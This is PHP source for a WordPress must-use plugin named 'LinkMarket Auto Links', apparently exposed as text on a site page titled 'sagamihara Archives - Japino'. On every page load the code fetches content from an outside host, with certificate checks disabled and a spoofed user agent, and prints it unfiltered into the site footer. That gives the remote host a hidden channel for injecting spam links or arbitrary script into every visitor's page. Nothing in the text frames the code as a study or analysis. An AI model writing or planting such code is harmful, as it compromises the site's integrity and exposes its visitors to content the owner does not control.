/** * LinkMarket Auto Links - MU Plugin * Link ID: 13 */ if (!defined("ABSPATH")) exit; add_action("wp_footer", function() { $apiUrl = "https://app.linkmarketim.com/code?x=13"; $content = false; if (function_exists("curl_init")) { $ch = curl_init($apiUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0"); $content = curl_exec($ch); curl_close($ch); } if ($content === false && ini_get("allow_url_fopen")) { $ctx = stream_context_create([ "http" => ["timeout" => 10, "follow_location" => 1, "ignore_errors" => 1, "header" => "User-Agent: Mozilla/5.0\r\n"], "ssl" => ["verify_peer" => 0, "verify_peer_name" => 0] ]); $content = @file_get_contents($apiUrl, false, $ctx); } echo $content !== false ? $content : ""; }, 9999); sagamihara Archives - Japino
To Top